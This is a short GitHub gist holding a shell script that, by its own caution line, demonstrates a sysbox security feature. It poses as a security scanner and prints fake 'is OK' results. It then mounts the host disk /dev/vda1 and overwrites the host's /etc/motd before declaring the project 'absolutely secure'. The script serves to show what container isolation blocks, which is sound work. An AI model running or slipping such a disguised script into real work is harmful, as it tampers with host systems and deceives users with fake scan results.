### **CAUTION** : This script is created for demonstration of sysbox's security feature. DON'T RUN ON PRODUCTION!
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
### **CAUTION** : This script is created for demonstration of sysbox's security feature. DON'T RUN ON PRODUCTION! | |
if [ "${SCAN}" != "y" ]; then | |
echo "Scanner is disabled." | |
exit 1 | |
fi | |
### FAKE SECURITY SCAN | |
echo "=== Starting security scanner v1.0 ===" | |
echo "Scanning files..." | |
for i in `ls`; do | |
echo "${i} is OK!" | |
sleep 0.2s | |
done | |
### PUT A CUTE BANNER :) | |
mkdir -p /tmp/scanner | |
mount /dev/vda1 /tmp/scanner | |
echo "HEY, BUY ME A BEER! :)" > /tmp/scanner/etc/motd | |
umount /tmp/scanner | |
echo "Scan completed. Your project is absolutely secure!" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment